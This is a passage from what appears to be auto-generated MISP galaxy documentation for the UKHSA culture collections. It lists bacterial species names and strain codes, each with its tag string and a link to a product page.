https://www.culturecollections.org.uk/nop/product/helicobacter-muridarum

Streptococcus phocae

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus phocae"*

Table 30763. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-phocae

Helicobacter pametensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter pametensis"*

Table 30764. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-pametensis-2

Neisseria mucosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria mucosa"*

Table 30765. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-mucosa-3
https://www.culturecollections.org.uk/nop/product/neisseria-mucosa

Pseudomonas chlororaphis subsp. chlororaphis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas chlororaphis subsp. chlororaphis"*

Table 30766. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-chlororaphis-subsp-chlororaphis

Brachyspira innocens

The tag is: *misp-galaxy:ukhsa-culture-collections="Brachyspira innocens"*

Table 30767. Table References

Links
https://www.culturecollections.org.uk/nop/product/brachyspira-innocens-2

Bacteroides stercoris

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides stercoris"*

Table 30768. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-stercoris

Peptostreptococcus prevotii

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptostreptococcus prevotii"*

Table 30769. Table References

Links
https://www.culturecollections.org.uk/nop/product/peptostreptococcus-prevotii

Pandoraea apista

The tag is: *misp-galaxy:ukhsa-culture-collections="Pandoraea apista"*

Table 30770. Table References

Links
https://www.culturecollections.org.uk/nop/product/pandoraea-apista

Tsukamurella pulmonis

The tag is: *misp-galaxy:ukhsa-culture-collections="Tsukamurella pulmonis"*

Table 30771. Table References

Links
https://www.culturecollections.org.uk/nop/product/tsukamurella-pulmonis

Corynebacterium auriscanis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium auriscanis"*

Table 30772. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-auriscanis

Bartonella melophagi

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella melophagi"*

Table 30773. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-melophagi

Lactobacillus odontolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus odontolyticus"*

Table 30774. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-odontolyticus

Nocardia otitidiscaviarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Nocardia otitidiscaviarum"*

Table 30775. Table References

Links
https://www.culturecollections.org.uk/nop/product/nocardia-otitidiscaviarum

Bacillus alcalophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus alcalophilus"*

Table 30776. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-alcalophilus

Bacillus loehnisii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus loehnisii"*

Table 30777. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-loehnisii

Mycoplasma verecundum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma verecundum"*

Table 30778. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-verecundum

Mycoplasma canadense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma canadense"*

Table 30779. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-canadense

Mycoplasma feliminutum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma feliminutum"*

Table 30780. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-feliminutum

Mycoplasma primatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma primatum"*

Table 30781. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-primatum

Mycoplasma spumans

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma spumans"*

Table 30782. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-spumans

Mycoplasma sualvi

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma sualvi"*

Table 30783. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-sualvi

Mycoplasma equigenitalium

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma equigenitalium"*

Table 30784. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-equigenitalium

Mycoplasma citelli

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma citelli"*

Table 30785. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-citelli

Ureaplasma diversum

The tag is: *misp-galaxy:ukhsa-culture-collections="Ureaplasma diversum"*

Table 30786. Table References

Links
https://www.culturecollections.org.uk/nop/product/ureaplasma-diversum

Mycoplasma californicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma californicum"*

Table 30787. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-californicum

Mycoplasma mustelae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma mustelae"*

Table 30788. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-mustelae

Mycoplasma cloacale

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma cloacale"*

Table 30789. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-cloacale

Butyribacterium limosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Butyribacterium limosum"*

Table 30790. Table References

Links
https://www.culturecollections.org.uk/nop/product/butyribacterium-limosum

Mycobacterium obuense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium obuense"*

Table 30791. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-obuense

Ralstonia pickettii

The tag is: *misp-galaxy:ukhsa-culture-collections="Ralstonia pickettii"*

Table 30792. Table References

Links
https://www.culturecollections.org.uk/nop/product/ralstonia-pickettii

Rikenella microfusus

The tag is: *misp-galaxy:ukhsa-culture-collections="Rikenella microfusus"*

Table 30793. Table References

Links
https://www.culturecollections.org.uk/nop/product/rikenella-microfusus

Serratia odorifera

The tag is: *misp-galaxy:ukhsa-culture-collections="Serratia odorifera"*

Table 30794. Table References

Links
https://www.culturecollections.org.uk/nop/product/serratia-odorifera

Actinobacillus haemolyticus subsp. indologenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus haemolyticus subsp. indologenes"*

Table 30795. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-haemolyticus-subsp-indologenes

Streptococcus downei

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus downei"*

Table 30796. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-downei

Flavobacterium thermophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium thermophilum"*

Table 30797. Table References

Links
https://www.culturecollections.org.uk/nop/product/flavobacterium-thermophilum

Clostridium ramosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium ramosum"*

Table 30798. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-ramosum

Veillonella atypica

The tag is: *misp-galaxy:ukhsa-culture-collections="Veillonella atypica"*

Table 30799. Table References

Links
https://www.culturecollections.org.uk/nop/product/veillonella-atypica

Veillonella rodentium

The tag is: *misp-galaxy:ukhsa-culture-collections="Veillonella rodentium"*

Table 30800. Table References

Links
https://www.culturecollections.org.uk/nop/product/veillonella-rodentium

Legionella brunensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella brunensis"*

Table 30801. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-brunensis

Acholeplasma axanthum

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma axanthum"*

Table 30802. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-axanthum

Streptococcus equi subsp. equi

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus equi subsp. equi"*

Table 30803. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-equi

Campylobacter clo-3

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter clo-3"*

Table 30804. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-clo-3

Porphyromonas circadens

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas circadens"*

Table 30805. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-circadens

Neisseria elongata subsp. nitroreducens

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria elongata subsp. nitroreducens"*

Table 30806. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-elongata-subsp-nitroreducens

Legionella shakespearei

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella shakespearei"*

Table 30807. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-shakespearei

Legionella lansingensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella lansingensis"*

Table 30808. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-lansingensis

Legionella londiniensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella londiniensis"*

Table 30809. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-londiniensis

Granulicatella adiacens

The tag is: *misp-galaxy:ukhsa-culture-collections="Granulicatella adiacens"*

Table 30810. Table References

Links
https://www.culturecollections.org.uk/nop/product/granulicatella-adiacens

Legionella genomospecies 1

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella genomospecies 1"*

Table 30811. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-genomospecies-1

Bacteroides merdae

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides merdae"*

Table 30812. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-merdae

Prevotella buccae

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella buccae"*

Table 30813. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-buccae

Prevotella buccalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella buccalis"*

Table 30814. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-buccalis

Prevotella corporis

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella corporis"*

Table 30815. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-corporis

Prevotella enoeca

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella enoeca"*

Table 30816. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-enoeca

Pandoraea pulmonicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Pandoraea pulmonicola"*

Table 30817. Table References

Links
https://www.culturecollections.org.uk/nop/product/pandoraea-pulmonicola

Porphyromonas gulae

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas gulae"*

Table 30818. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-gulae

Rhodococcus wratislaviensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodococcus wratislaviensis"*

Table 30819. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodococcus-wratislaviensis

Bartonella washoensis subsp. cynomysius

The tag is: *misp-galaxy:ukhsa-culture-collections="Bartonella washoensis subsp. cynomysius"*

Table 30820. Table References

Links
https://www.culturecollections.org.uk/nop/product/bartonella-washoensis-subsp-cynomysius

AY0001

The tag is: *misp-galaxy:ukhsa-culture-collections="AY0001"*

Table 30821. Table References

Links
https://www.culturecollections.org.uk/nop/product/ay0001

BH0050

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0050"*

Table 30822. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0050

BO0388

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0388"*

Table 30823. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0388

BO0401

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0401"*

Table 30824. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0401

BO0430

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0430"*

Table 30825. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0430

BO0769

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0769"*

Table 30826. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0769

BO0789

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0789"*

Table 30827. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0789

BO0795

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0795"*

Table 30828. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0795

BO0851

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0851"*

Table 30829. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0851

BO0955

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0955"*

Table 30830. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0955

BO1040

The tag is: *misp-galaxy:ukhsa-culture-collections="BO1040"*

Table 30831. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo1040

BO1087

The tag is: *misp-galaxy:ukhsa-culture-collections="BO1087"*

Table 30832. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo1087

BO2036

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2036"*

Table 30833. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2036

BO2128

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2128"*

Table 30834. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2128

BO2217

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2217"*

Table 30835. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2217

DD0020

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0020"*

Table 30836. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0020

DD0041

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0041"*

Table 30837. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0041

DD0084

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0084"*

Table 30838. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0084

DD0105

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0105"*

Table 30839. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0105

DD0172

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0172"*

Table 30840. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0172

DD0173

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0173"*

Table 30841. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0173

DD0178

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0178"*

Table 30842. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0178

DD0182

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0182"*

Table 30843. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0182

DD0203

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0203"*

Table 30844. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0203

DD0391

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0391"*

Table 30845. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0391

DD0429

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0429"*

Table 30846. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0429

DD0442

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0442"*

Table 30847. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0442

DD0492

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0492"*

Table 30848. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0492

DD0549

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0549"*

Table 30849. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0549

DD0632

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0632"*

Table 30850. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0632

DD0671

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0671"*

Table 30851. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0671

DD0755

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0755"*

Table 30852. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0755

DD0767

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0767"*

Table 30853. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0767

DD0830

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0830"*

Table 30854. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0830

DD0835

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0835"*

Table 30855. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0835

DD0847

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0847"*

Table 30856. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0847

DD0866

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0866"*

Table 30857. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0866

DD0886

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0886"*

Table 30858. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0886

DD0968

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0968"*

Table 30859. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0968

DD1013

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1013"*

Table 30860. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1013

DD1016

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1016"*

Table 30861. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1016

DD1039

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1039"*

Table 30862. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1039

DD1103

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1103"*

Table 30863. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1103

DD1142

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1142"*

Table 30864. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1142

DD1175

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1175"*

Table 30865. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1175

DD1202

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1202"*

Table 30866. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1202

DD1250

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1250"*

Table 30867. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1250

DD1261

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1261"*

Table 30868. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1261

DD1266

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1266"*

Table 30869. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1266

DD1293

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1293"*

Table 30870. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1293

DD1329

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1329"*

Table 30871. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1329

DD1346

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1346"*

Table 30872. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1346

DD1387

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1387"*

Table 30873. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1387

DD1418

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1418"*

Table 30874. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1418

DD1493

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1493"*

Table 30875. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1493

DD1506

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1506"*

Table 30876. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1506

DD1508

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1508"*

Table 30877. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1508

DD1516

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1516"*

Table 30878. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1516

DD1521

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1521"*

Table 30879. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1521

DD1603

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1603"*

Table 30880. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1603

DD1618

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1618"*

Table 30881. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1618

DD1620

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1620"*

Table 30882. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1620

DD1654

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1654"*

Table 30883. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1654

DD1862

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1862"*

Table 30884. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1862

DD1882

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1882"*

Table 30885. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1882

DD1935

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1935"*

Table 30886. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1935

DD1970

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1970"*

Table 30887. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1970

DD2040

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2040"*

Table 30888. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2040

DD2109

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2109"*

Table 30889. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2109

DD2157

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2157"*

Table 30890. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2157

DD2175

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2175"*

Table 30891. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2175

DD2182

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2182"*

Table 30892. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2182

DD2235

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2235"*

Table 30893. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2235

DD2261

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2261"*

Table 30894. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2261

DD2553

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2553"*

Table 30895. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2553

DD2586

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2586"*

Table 30896. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2586

DD2606

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2606"*

Table 30897. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2606

DD2700

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2700"*

Table 30898. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2700

DD2703

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2703"*

Table 30899. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2703

DD2711

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2711"*

Table 30900. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2711

DD2717

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2717"*

Table 30901. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2717

DD2731

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2731"*

Table 30902. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2731

DD2919

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2919"*

Table 30903. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2919

DD2923

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2923"*

Table 30904. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2923

DD2944

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2944"*

Table 30905. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2944

DD3000

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3000"*

Table 30906. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3000

DD3005

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3005"*

Table 30907. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3005

DD3031

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3031"*

Table 30908. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3031

DD3073

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3073"*

Table 30909. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3073

DD3075

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3075"*

Table 30910. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3075

DD3092

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3092"*

Table 30911. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3092

DD3113

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3113"*

Table 30912. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3113

DD3117

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3117"*

Table 30913. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3117

DD3133

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3133"*

Table 30914. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3133

DD3606

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3606"*

Table 30915. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3606

DD3706

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3706"*

Table 30916. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3706

DD3726

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3726"*

Table 30917. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3726

DI0078

The tag is: *misp-galaxy:ukhsa-culture-collections="DI0078"*

Table 30918. Table References

Links
https://www.culturecollections.org.uk/nop/product/di0078

FB0001

The tag is: *misp-galaxy:ukhsa-culture-collections="FB0001"*

Table 30919. Table References

Links
https://www.culturecollections.org.uk/nop/product/fb0001

FC0002

The tag is: *misp-galaxy:ukhsa-culture-collections="FC0002"*

Table 30920. Table References

Links
https://www.culturecollections.org.uk/nop/product/fc0002

GK0001

The tag is: *misp-galaxy:ukhsa-culture-collections="GK0001"*

Table 30921. Table References

Links
https://www.culturecollections.org.uk/nop/product/gk0001

GK0002

The tag is: *misp-galaxy:ukhsa-culture-collections="GK0002"*

Table 30922. Table References

Links
https://www.culturecollections.org.uk/nop/product/gk0002

HH0073

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0073"*

Table 30923. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0073

HH0094

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0094"*

Table 30924. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0094

HH0130

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0130"*

Table 30925. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0130

HH0311

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0311"*

Table 30926. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0311

HH0316

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0316"*

Table 30927. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0316

HH0317

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0317"*

Table 30928. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0317

HH0334

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0334"*

Table 30929. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0334

JJ0035

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0035"*

Table 30930. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0035

JJ0040

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0040"*

Table 30931. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0040

JJ0061

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0061"*

Table 30932. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0061

LA0001

The tag is: *misp-galaxy:ukhsa-culture-collections="LA0001"*

Table 30933. Table References

Links
https://www.culturecollections.org.uk/nop/product/la0001

NO0001

The tag is: *misp-galaxy:ukhsa-culture-collections="NO0001"*

Table 30934. Table References

Links
https://www.culturecollections.org.uk/nop/product/no0001

QQ0082

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0082"*

Table 30935. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0082

QQ0300

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0300"*

Table 30936. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0300

QQ0422

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0422"*

Table 30937. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0422

QQ0598

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0598"*

Table 30938. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0598

XP0008

The tag is: *misp-galaxy:ukhsa-culture-collections="XP0008"*

Table 30939. Table References

Links
https://www.culturecollections.org.uk/nop/product/xp0008

AC0002

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0002"*

Table 30940. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0002

BH0022

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0022"*

Table 30941. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0022

BH0082

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0082"*

Table 30942. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0082

BO0338

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0338"*

